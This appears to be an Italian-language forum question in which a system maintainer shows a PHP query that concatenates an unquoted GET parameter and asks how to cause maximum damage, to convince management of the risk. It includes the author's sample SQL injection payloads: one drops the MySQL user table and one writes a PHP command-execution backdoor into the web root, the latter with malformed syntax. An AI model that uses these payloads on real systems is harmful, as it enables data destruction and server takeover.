Ho trovato un sacco di exploit di SQL injection in alcuni sistemi che mantengo. So come prevenire l'iniezione, ma vorrei dimostrare al mio CEO e CTO quanto sia pericoloso se non ci concentriamo abbastanza sul mantenimento delle nostre applicazioni.
Molte volte dobbiamo reagire invece di agire in modo proattivo quando si tratta di sicurezza, soprattutto perché quando viene rilevata una vulnerabilità non è necessario stabilire una priorità perché è improbabile che venga sfruttata.
La seguente query è uno di questi esempi. Il server è in esecuzione con PHP_MAGIC_QUOTES ON (sì, so che è davvero pessimo) e quindi previene gli exploit in diversi posti perché i programmatori hanno aggiunto esplicitamente "attorno a tutti i valori di input utilizzati nelle query (quindi non riesci a uscirne). La query che ho trovato vulnerabile ora è tuttavia trattata come un numero intero invece di una stringa e non contiene "attorno".
Ecco l'esempio:
$sql = "select * from vulnerable_table where id = " . $_GET['id'] . " limit 1";
$result= mysql_query($sql);
Come faresti il danno massimo al sistema considerando di controllare la variabile id.
Alcuni esempi che ho trovato da soli:
id = 1;drop table mysql.user
Only if semi colon is accepted
id = 1;SELECT '<?php exec($_get['cmd'])?>' INTO OUT_FILE('/var/www/backdoor.php')
Only if I could bypass the magic_quotes somehow